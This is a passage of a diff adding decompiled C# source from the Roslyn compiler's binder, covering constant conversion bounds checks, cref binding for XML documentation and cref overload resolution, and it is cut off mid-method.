(-7.922816251426434E+28 < value) + { + return value < 7.922816251426434E+28; + } + return false; + case 13: + maySucceedAtRuntime = -9.223372036854776E+18 < value && value < 9.223372036854776E+18; + if (-2147483649.0 < value) + { + return value < 2147483648.0; + } + return false; + case 14: + maySucceedAtRuntime = -1.0 < value && value < 1.8446744073709552E+19; + if (-1.0 < value) + { + return value < 4294967296.0; + } + return false; + default: + return true; + } + } + + private static bool CheckConstantBounds(SpecialType destinationType, decimal value, out bool maySucceedAtRuntime) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected I4, but got Unknown + maySucceedAtRuntime = false; + switch (destinationType - 8) + { + case 2: + if (-1m < value) + { + return value < 256m; + } + return false; + case 0: + if (-1m < value) + { + return value < 65536m; + } + return false; + case 4: + if (-1m < value) + { + return value < 65536m; + } + return false; + case 6: + if (-1m < value) + { + return value < 4294967296m; + } + return false; + case 8: + if (-1m < value) + { + return value < 18446744073709551616m; + } + return false; + case 1: + if (-129m < value) + { + return value < 128m; + } + return false; + case 3: + if (-32769m < value) + { + return value < 32768m; + } + return false; + case 5: + if (-2147483649m < value) + { + return value < 2147483648m; + } + return false; + case 7: + if (-9223372036854775809m < value) + { + return value < 9223372036854775808m; + } + return false; + case 13: + maySucceedAtRuntime = -9223372036854775809m < value && value < 9223372036854775808m; + if (-2147483649m < value) + { + return value < 2147483648m; + } + return false; + case 14: + maySucceedAtRuntime = -1m < value && value < 18446744073709551616m; + if (-1m < value) + { + return value < 4294967296m; + } + return false; + default: + return true; + } + } + + private static object CanonicalizeConstant(ConstantValue value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected I4, but got Unknown + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + ConstantValueTypeDiscriminator discriminator = value.Discriminator; + switch (discriminator - 2) + { + case 0: + return (decimal)value.SByteValue; + case 2: + return (decimal)value.Int16Value; + case 4: + return (decimal)value.Int32Value; + case 6: + return (decimal)value.Int64Value; + case 8: + return (decimal)value.Int32Value; + case 1: + return (decimal)value.ByteValue; + case 10: + return (decimal)value.CharValue; + case 3: + return (decimal)value.UInt16Value; + case 5: + return (decimal)value.UInt32Value; + case 7: + return (decimal)value.UInt64Value; + case 9: + return (decimal)value.UInt32Value; + case 12: + case 13: + return value.DoubleValue; + case 15: + return value.DecimalValue; + default: + throw ExceptionUtilities.UnexpectedValue((object)value.Discriminator); + } + } + + internal ImmutableArray BindCref(CrefSyntax syntax, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + return BindCrefInternal(syntax, out ambiguityWinner, diagnostics); + } + + private ImmutableArray BindCrefInternal(CrefSyntax syntax, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + switch (syntax.Kind()) + { + case SyntaxKind.TypeCref: + return BindTypeCref((TypeCrefSyntax)syntax, out ambiguityWinner, diagnostics); + case SyntaxKind.QualifiedCref: + return BindQualifiedCref((QualifiedCrefSyntax)syntax, out ambiguityWinner, diagnostics); + case SyntaxKind.NameMemberCref: + case SyntaxKind.IndexerMemberCref: + case SyntaxKind.OperatorMemberCref: + case SyntaxKind.ConversionOperatorMemberCref: + return BindMemberCref((MemberCrefSyntax)syntax, null, out ambiguityWinner, diagnostics); + default: + throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()); + } + } + + private ImmutableArray BindTypeCref(TypeCrefSyntax syntax, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + NamespaceOrTypeSymbol namespaceOrTypeSymbol = BindNamespaceOrTypeSymbolInCref(syntax.Type); + if ((int)namespaceOrTypeSymbol.Kind == 4) + { + TypeCrefSyntax typeCrefSyntax = SyntaxNodeExtensions.WithTrailingTrivia(SyntaxNodeExtensions.WithLeadingTrivia(syntax, (SyntaxTrivia[])null), (SyntaxTrivia[])null); + diagnostics.Add(ErrorCode.WRN_BadXMLRef, ((SyntaxNode)syntax).Location, ((SyntaxNode)typeCrefSyntax).ToFullString()); + } + ambiguityWinner = null; + return ImmutableArray.Create((Symbol)namespaceOrTypeSymbol); + } + + private ImmutableArray BindQualifiedCref(QualifiedCrefSyntax syntax, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + NamespaceOrTypeSymbol containerOpt = BindNamespaceOrTypeSymbolInCref(syntax.Container); + return BindMemberCref(syntax.Member, containerOpt, out ambiguityWinner, diagnostics); + } + + private NamespaceOrTypeSymbol BindNamespaceOrTypeSymbolInCref(TypeSyntax syntax) + { + return BindNamespaceOrTypeSymbol(syntax, BindingDiagnosticBag.Discarded).NamespaceOrTypeSymbol; + } + + private ImmutableArray BindMemberCref(MemberCrefSyntax syntax, NamespaceOrTypeSymbol? containerOpt, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + if ((object)containerOpt != null && (int)containerOpt.Kind == 17) + { + CrefSyntax rootCrefSyntax = GetRootCrefSyntax(syntax); + MemberCrefSyntax memberCrefSyntax = SyntaxNodeExtensions.WithTrailingTrivia(SyntaxNodeExtensions.WithLeadingTrivia(syntax, (SyntaxTrivia[])null), (SyntaxTrivia[])null); + diagnostics.Add(ErrorCode.WRN_BadXMLRef, ((SyntaxNode)rootCrefSyntax).Location, ((SyntaxNode)memberCrefSyntax).ToFullString()); + ambiguityWinner = null; + return ImmutableArray.Empty; + } + ImmutableArray immutableArray = syntax.Kind() switch + { + SyntaxKind.NameMemberCref => BindNameMemberCref((NameMemberCrefSyntax)syntax, containerOpt, out ambiguityWinner, diagnostics), + SyntaxKind.IndexerMemberCref => BindIndexerMemberCref((IndexerMemberCrefSyntax)syntax, containerOpt, out ambiguityWinner, diagnostics), + SyntaxKind.OperatorMemberCref => BindOperatorMemberCref((OperatorMemberCrefSyntax)syntax, containerOpt, out ambiguityWinner, diagnostics), + SyntaxKind.ConversionOperatorMemberCref => BindConversionOperatorMemberCref((ConversionOperatorMemberCrefSyntax)syntax, containerOpt, out ambiguityWinner, diagnostics), + _ => throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()), + }; + if (!immutableArray.Any()) + { + CrefSyntax rootCrefSyntax2 = GetRootCrefSyntax(syntax); + MemberCrefSyntax memberCrefSyntax2 = SyntaxNodeExtensions.WithTrailingTrivia(SyntaxNodeExtensions.WithLeadingTrivia(syntax, (SyntaxTrivia[])null), (SyntaxTrivia[])null); + diagnostics.Add(ErrorCode.WRN_BadXMLRef, ((SyntaxNode)rootCrefSyntax2).Location, ((SyntaxNode)memberCrefSyntax2).ToFullString()); + } + return immutableArray; + } + + private ImmutableArray BindNameMemberCref(NameMemberCrefSyntax syntax, NamespaceOrTypeSymbol? containerOpt, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + SimpleNameSyntax simpleNameSyntax = syntax.Name as SimpleNameSyntax; + int num; + string text; + string memberNameText; + if (simpleNameSyntax != null) + { + num = simpleNameSyntax.Arity; + SyntaxToken identifier = simpleNameSyntax.Identifier; + text = ((SyntaxToken)(ref identifier)).ValueText; + identifier = simpleNameSyntax.Identifier; + memberNameText = ((SyntaxToken)(ref identifier)).Text; + } + else + { + containerOpt = BindNamespaceOrTypeSymbolInCref(syntax.Name); + num = 0; + text = (memberNameText = ".ctor"); + } + if (string.IsNullOrEmpty(text)) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + ImmutableArray symbols = ComputeSortedCrefMembers(syntax, containerOpt, text, memberNameText, num, syntax.Parameters != null, diagnostics); + if (symbols.IsEmpty) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + return ProcessCrefMemberLookupResults(symbols, num, syntax, (num == 0) ? null : ((GenericNameSyntax)simpleNameSyntax).TypeArgumentList, syntax.Parameters, out ambiguityWinner, diagnostics); + } + + private ImmutableArray BindIndexerMemberCref(IndexerMemberCrefSyntax syntax, NamespaceOrTypeSymbol? containerOpt, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + ImmutableArray symbols = ComputeSortedCrefMembers(syntax, containerOpt, "this[]", "this[]", 0, syntax.Parameters != null, diagnostics); + if (symbols.IsEmpty) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + return ProcessCrefMemberLookupResults(symbols, 0, syntax, null, syntax.Parameters, out ambiguityWinner, diagnostics); + } + + private ImmutableArray BindOperatorMemberCref(OperatorMemberCrefSyntax syntax, NamespaceOrTypeSymbol? containerOpt, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + CrefParameterListSyntax parameters = syntax.Parameters; + bool flag = syntax.CheckedKeyword.IsKind(SyntaxKind.CheckedKeyword); + SyntaxKind kind = syntax.OperatorToken.Kind(); + string text = ((parameters != null && parameters.Parameters.Count == 1) ? null : OperatorFacts.BinaryOperatorNameFromSyntaxKindIfAny(kind, flag)); + text = text ?? OperatorFacts.UnaryOperatorNameFromSyntaxKindIfAny(kind, flag); + if (text != null) + { + if (flag) + { + SyntaxToken operatorToken = syntax.OperatorToken; + if (!((SyntaxToken)(ref operatorToken)).IsMissing && !SyntaxFacts.IsCheckedOperator(text)) + { + goto IL_0070; + } + } + ImmutableArray symbols = ComputeSortedCrefMembers(syntax, containerOpt, text, text, 0, syntax.Parameters != null, diagnostics); + if (symbols.IsEmpty) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + return ProcessCrefMemberLookupResults(symbols, 0, syntax, null, parameters, out ambiguityWinner, diagnostics); + } + goto IL_0070; + IL_0070: + ambiguityWinner = null; + return ImmutableArray.Empty; + } + + private ImmutableArray BindConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax syntax, NamespaceOrTypeSymbol? containerOpt, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + bool flag = syntax.CheckedKeyword.IsKind(SyntaxKind.CheckedKeyword); + string text; + if (syntax.ImplicitOrExplicitKeyword.Kind() != SyntaxKind.ImplicitKeyword) + { + text = ((!flag) ? "op_Explicit" : "op_CheckedExplicit"); + } + else + { + if (flag) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + text = "op_Implicit"; + } + ImmutableArray immutableArray = ComputeSortedCrefMembers(syntax, containerOpt, text, text, 0, syntax.Parameters != null, diagnostics); + if (immutableArray.IsEmpty) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + TypeSymbol typeSymbol = BindCrefParameterOrReturnType(syntax.Type, syntax, diagnostics); + immutableArray = ImmutableArrayExtensions.WhereAsArray(immutableArray, (Func)((Symbol symbol, TypeSymbol returnType) => (int)symbol.Kind != 9 || TypeSymbol.Equals(((MethodSymbol)symbol).ReturnType, returnType, (TypeCompareKind)0)), typeSymbol); + if (!immutableArray.Any()) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + return ProcessCrefMemberLookupResults(immutableArray, 0, syntax, null, syntax.Parameters, out ambiguityWinner, diagnostics); + } + + private ImmutableArray ComputeSortedCrefMembers(CSharpSyntaxNode syntax, NamespaceOrTypeSymbol? containerOpt, string memberName, string memberNameText, int arity, bool hasParameterList, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + ImmutableArray result = ComputeSortedCrefMembers(containerOpt, memberName, memberNameText, arity, hasParameterList, syntax, diagnostics, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)syntax, useSiteInfo); + return result; + } + + private ImmutableArray ComputeSortedCrefMembers(NamespaceOrTypeSymbol? containerOpt, string memberName, string memberNameText, int arity, bool hasParameterList, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics, ref CompoundUseSiteInfo useSiteInfo) + { + LookupResult instance = LookupResult.GetInstance(); + LookupSymbolsOrMembersInternal(instance, containerOpt, memberName, arity, null, LookupOptions.AllMethodsOnArityZero | LookupOptions.MustNotBeParameter, diagnose: false, ref useSiteInfo); + ArrayBuilder instance2; + if (instance.IsMultiViable) + { + instance2 = ArrayBuilder.GetInstance(); + instance2.AddRange(instance.Symbols); + instance.Free(); + } + else + { + bool flag = ((memberNameText == "nint" || memberNameText == "nuint") ? true : false); + if (flag && (object)containerOpt == null && arity == 0 && !hasParameterList) + { + instance.Free(); + CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_FeatureNativeInt, diagnostics); + instance2 = ArrayBuilder.GetInstance(); + instance2.Add((Symbol)GetSpecialType((SpecialType)((memberName == "nint") ? 21 : 22), diagnostics, (SyntaxNode)(object)syntax).AsNativeInteger()); + } + else + { + instance.Free(); + NamedTypeSymbol namedTypeSymbol = null; + if (arity == 0) + { + if (containerOpt is NamedTypeSymbol namedTypeSymbol2) + { + if (namedTypeSymbol2.Name == memberName && (hasParameterList || namedTypeSymbol2.Arity == 0 || !TypeSymbol.Equals(ContainingType, namedTypeSymbol2.OriginalDefinition, (TypeCompareKind)0))) + { + namedTypeSymbol = namedTypeSymbol2; + } + } + else if ((object)containerOpt == null && hasParameterList) + { + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType != null && memberName == containingType.Name) + { + namedTypeSymbol = containingType; + } + } + } + if ((object)namedTypeSymbol == null) + { + return ImmutableArray.Empty; + } + ImmutableArray instanceConstructors = namedTypeSymbol.InstanceConstructors; + int length = instanceConstructors.Length; + if (length == 0) + { + return ImmutableArray.Empty; + } + instance2 = ArrayBuilder.GetInstance(length); + instance2.AddRange(instanceConstructors); + } + } + if (instance2.Count > 1) + { + instance2.Sort((IComparer)ConsistentSymbolOrder.Instance); + } + return instance2.ToImmutableAndFree(); + } + + private ImmutableArray ProcessCrefMemberLookupResults(ImmutableArray symbols, int arity, MemberCrefSyntax memberSyntax, TypeArgumentListSyntax? typeArgumentListSyntax, BaseCrefParameterListSyntax? parameterListSyntax, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + if (parameterListSyntax == null) + { + return ProcessParameterlessCrefMemberLookupResults(symbols, arity, memberSyntax, typeArgumentListSyntax, out ambiguityWinner, diagnostics); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetCrefOverloadResolutionCandidates(symbols, arity, typeArgumentListSyntax, instance); + ImmutableArray parameterSymbols = BindCrefParameters(parameterListSyntax, diagnostics); + ImmutableArray result = PerformCrefOverloadResolution(instance, parameterSymbols, arity, memberSyntax, out ambiguityWinner, diagnostics); + instance.Free(); + if (result.Length == 0) + { + for (int i = 0; i < parameterSymbols.Length; i++) + { + if (ContainsNestedTypeOfUnconstructedGenericType(parameterSymbols[i].Type)) + { + diagnostics.Add(ErrorCode.WRN_UnqualifiedNestedTypeInCref, ((SyntaxNode)parameterListSyntax.Parameters[i]).Location); + break; + } + } + } + return result; + } + + private static bool ContainsNestedTypeOfUnconstructedGenericType(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected I4, but got Unknown + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = type.TypeKind; + switch (typeKind - 1) + { + case 0: + return ContainsNestedTypeOfUnconstructedGenericType(((ArrayTypeSymbol)type).ElementType); + case 8: + return ContainsNestedTypeOfUnconstructedGenericType(((PointerTypeSymbol)type).PointedAtType); + case 12: + { + MethodSymbol signature = ((FunctionPointerTypeSymbol)type).Signature; + if (ContainsNestedTypeOfUnconstructedGenericType(signature.ReturnType)) + { + return true; + } + ImmutableArray.Enumerator enumerator2 = signature.Parameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (ContainsNestedTypeOfUnconstructedGenericType(enumerator2.Current.Type)) + { + return true; + } + } + return false; + } + case 1: + case 2: + case 4: + case 5: + case 6: + case 9: + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)type; + if (IsNestedTypeOfUnconstructedGenericType(namedTypeSymbol)) + { + return true; + } + ImmutableArray.Enumerator enumerator = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (ContainsNestedTypeOfUnconstructedGenericType(enumerator.Current.Type)) + { + return true; + } + } + return false; + } + case 3: + case 10: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + } + + private static bool IsNestedTypeOfUnconstructedGenericType(NamedTypeSymbol type) + { + NamedTypeSymbol containingType = type.ContainingType; + while ((object)containingType != null) + { + if (containingType.Arity > 0 && containingType.IsDefinition) + { + return true; + } + containingType = containingType.ContainingType; + } + return false; + } + + private ImmutableArray ProcessParameterlessCrefMemberLookupResults(ImmutableArray symbols, int arity, MemberCrefSyntax memberSyntax, TypeArgumentListSyntax? typeArgumentListSyntax, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_01dc: Unknown result type (might be due to invalid IL or missing references) + //IL_01e3: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Invalid comparison between Unknown and I4 + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Invalid comparison between Unknown and I4 + if (symbols.Length > 1 && arity == 0) + { + bool flag = false; + bool flag2 = false; + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + if (((MethodSymbol)current).Arity == 0) + { + flag = true; + } + else + { + flag2 = true; + } + if (flag2 && flag) + { + break; + } + } + } + if (flag && flag2) + { + symbols = ImmutableArrayExtensions.WhereAsArray(symbols, (Func)((Symbol s) => (int)s.Kind != 9 || ((MethodSymbol)s).Arity == 0)); + } + } + Symbol symbol = symbols[0]; + if (symbols.Length > 1) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(symbols.Length); + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + instance.Add(UnwrapAliasNoDiagnostics(current2)); + } + BestSymbolInfo secondBest; + BestSymbolInfo bestSymbolInfo = GetBestSymbolInfo(instance, out secondBest); + instance.Free(); + int num = 0; + if (bestSymbolInfo.IsFromCompilation) + { + num = bestSymbolInfo.Index; + symbol = symbols[num]; + } + if ((int)symbol.Kind == 17) + { + CrefSyntax rootCrefSyntax = GetRootCrefSyntax(memberSyntax); + diagnostics.Add(ErrorCode.WRN_BadXMLRefTypeVar, ((SyntaxNode)rootCrefSyntax).Location, ((object)rootCrefSyntax).ToString()); + } + else if (secondBest.IsFromCompilation == bestSymbolInfo.IsFromCompilation) + { + CrefSyntax rootCrefSyntax2 = GetRootCrefSyntax(memberSyntax); + int index = ((num == 0) ? 1 : 0); + diagnostics.Add(ErrorCode.WRN_AmbiguousXMLReference, ((SyntaxNode)rootCrefSyntax2).Location, ((object)rootCrefSyntax2).ToString(), symbol, symbols[index]); + ambiguityWinner = ConstructWithCrefTypeParameters(arity, typeArgumentListSyntax, symbol); + return ImmutableArrayExtensions.SelectAsArray(symbols, (Func)((Symbol sym) => ConstructWithCrefTypeParameters(arity, typeArgumentListSyntax, sym))); + } + } + else if ((int)symbol.Kind == 17) + { + CrefSyntax rootCrefSyntax3 = GetRootCrefSyntax(memberSyntax); + diagnostics.Add(ErrorCode.WRN_BadXMLRefTypeVar, ((SyntaxNode)rootCrefSyntax3).Location, ((object)rootCrefSyntax3).ToString()); + } + ambiguityWinner = null; + return ImmutableArray.Create(ConstructWithCrefTypeParameters(arity, typeArgumentListSyntax, symbol)); + } + + private void GetCrefOverloadResolutionCandidates(ImmutableArray symbols, int arity, TypeArgumentListSyntax? typeArgumentListSyntax, ArrayBuilder candidates) + { + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + Symbol symbol = ConstructWithCrefTypeParameters(arity, typeArgumentListSyntax, current); + if (!(symbol is NamedTypeSymbol namedTypeSymbol)) + { + candidates.Add(symbol); + } + else + { + candidates.AddRange(namedTypeSymbol.InstanceConstructors); + } + } + } + + private static ImmutableArray PerformCrefOverloadResolution(ArrayBuilder candidates, ImmutableArray parameterSymbols, int arity, MemberCrefSyntax memberSyntax, out Symbol? ambiguityWinner, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder val = null; + Enumerator enumerator = candidates.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + Symbol member; + if ((int)kind != 9) + { + if ((int)kind == 11) + { + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + if ((int)kind != 15) + { + continue; + } + member = new SignatureOnlyPropertySymbol(null, null, parameterSymbols, (RefKind)0, default(TypeWithAnnotations), ImmutableArray.Empty, isStatic: false, ImmutableArray.Empty); + } + else + { + MethodSymbol methodSymbol = (MethodSymbol)current; + MethodKind methodKind = methodSymbol.MethodKind; + bool isVararg = methodSymbol.IsVararg; + int count = (((int)methodKind != 1) ? ((arity == 0) ? methodSymbol.Arity : arity) : 0); + member = new SignatureOnlyMethodSymbol(null, null, methodKind, typeParameters: IndexedTypeParameterSymbol.TakeSymbols(count), parameters: parameterSymbols, callingConvention: (CallingConvention)(isVararg ? 5 : 32), refKind: (RefKind)0, isInitOnly: false, isStatic: false, returnType: default(TypeWithAnnotations), refCustomModifiers: ImmutableArray.Empty, explicitInterfaceImplementations: ImmutableArray.Empty); + } + if (!MemberSignatureComparer.CrefComparer.Equals(member, current)) + { + continue; + } + if (val == null) + { + val = ArrayBuilder.GetInstance(); + val.Add(current); + continue; + } + bool flag = val[0].GetMemberArity() == 0; + bool flag2 = current.GetMemberArity() == 0; + if (!flag || flag2) + { + if (!flag && flag2) + { + val.Clear(); + } + val.Add(current); + } + } + if (val == null) + { + ambiguityWinner = null; + return ImmutableArray.Empty; + } + if (val.Count > 1) + { + ambiguityWinner = val[0]; + CrefSyntax rootCrefSyntax = GetRootCrefSyntax(memberSyntax); + diagnostics.Add(ErrorCode.WRN_AmbiguousXMLReference, ((SyntaxNode)rootCrefSyntax).Location, ((object)rootCrefSyntax).ToString(), ambiguityWinner, val[1]); + } + else + { + ambiguityWinner = null; + } + return val.ToImmutableAndFree(); + } + + private Symbol ConstructWithCrefTypeParameters(int arity, TypeArgumentListSyntax? typeArgumentListSyntax, Symbol symbol) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Invalid comparison between Unknown and I4 + if (arity > 0) + { + SeparatedSyntaxList arguments = typeArgumentListSyntax.Arguments; + ArrayBuilder instance = ArrayBuilder.GetInstance(arity); + BindingDiagnosticBag discarded = BindingDiagnosticBag.Discarded; + for (int i = 0; i < arity; i++) + { + TypeSyntax syntax = arguments[i]; + TypeWithAnnotations typeWithAnnotations = BindType(syntax, discarded); + instance.Add(typeWithAnnotations); + } + symbol = (((int)symbol.Kind != 9) ? ((Symbol)((NamedTypeSymbol)symbol).Construct(instance.ToImmutableAndFree())) : ((Symbol)((MethodSymbol)symbol).Construct(instance.ToImmutableAndFree()))); + } + return symbol; + } + + private ImmutableArray BindCrefParameters(BaseCrefParameterListSyntax parameterListSyntax, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterListSyntax.Parameters.Count); + Enumerator enumerator = parameterListSyntax.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + CrefParameterSyntax current = enumerator.Current; + RefKind val = current.RefKindKeyword.Kind().GetRefKind(); + if ((int)val == 1 && current.ReadOnlyKeyword.IsKind(SyntaxKind.ReadOnlyKeyword)) + { + CheckFeatureAvailability(current.ReadOnlyKeyword, MessageID.IDS_FeatureRefReadonlyParameters, diagnostics, forceWarning: true); + val = (RefKind)4; + } + TypeSymbol typeSymbol = BindCrefParameterOrReturnType(current.Type, (MemberCrefSyntax)parameterListSyntax.Parent, diagnostics); + instance.Add((ParameterSymbol)new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(typeSymbol), ImmutableArray.Empty, isParams: false, val)); + } + return instance.ToImmutableAndFree(); + } + + private TypeSymbol BindCrefParameterOrReturnType(TypeSyntax typeSyntax, MemberCrefSyntax memberCrefSyntax, BindingDiagnosticBag diagnostics) + { + Binder binder = WithAdditionalFlags(BinderFlags.CrefParameterOrReturnType); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + TypeSymbol type = binder.BindType(typeSyntax, instance).Type; + if (((BindingDiagnosticBag)instance).HasAnyErrors() && HasNonObsoleteError(((BindingDiagnosticBag)instance).DiagnosticBag)) + { + CrefSyntax rootCrefSyntax = GetRootCrefSyntax(memberCrefSyntax); + if (typeSyntax.Parent.Kind() == SyntaxKind.ConversionOperatorMemberCref) + { + diagnostics.Add(ErrorCode.WRN_BadXMLRefReturnType, ((SyntaxNode)typeSyntax).Location); + } + else + { + diagnostics.Add(ErrorCode.WRN_BadXMLRefParamType, ((SyntaxNode)typeSyntax).Location, ((object)typeSyntax).ToString(), ((object)rootCrefSyntax).ToString()); + } + } + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance, false); + ((BindingDiagnosticBag)(object)instance).Free(); + return type; + } + + private static bool HasNonObsoleteError(DiagnosticBag unusedDiagnostics) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + foreach (Diagnostic item in unusedDiagnostics.AsEnumerable()) + { + ErrorCode code = (ErrorCode)item.Code; + if (code != ErrorCode.ERR_DeprecatedSymbolStr && code != ErrorCode.ERR_DeprecatedCollectionInitAddStr && (int)item.Severity == 3) + { + return true; + } + } + return false; + } + + private static CrefSyntax GetRootCrefSyntax(MemberCrefSyntax syntax) + { + SyntaxNode parent = (SyntaxNode)(object)syntax.Parent; + if (parent != null && !parent.IsKind(SyntaxKind.XmlCrefAttribute)) + { + return (CrefSyntax)(object)parent; + } + return syntax; + } + + internal BoundExpression BindDeconstruction(AssignmentExpressionSyntax node, BindingDiagnosticBag diagnostics, bool resultIsUsedOverride = false) + { + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + ExpressionSyntax left = node.Left; + ExpressionSyntax right = node.Right; + DeclarationExpressionSyntax declaration = null; + ExpressionSyntax expression = null; + BoundDeconstructionAssignmentOperator result = BindDeconstruction(node, left, right, diagnostics, ref declaration, ref expression, resultIsUsedOverride); + if (declaration != null) + { + switch 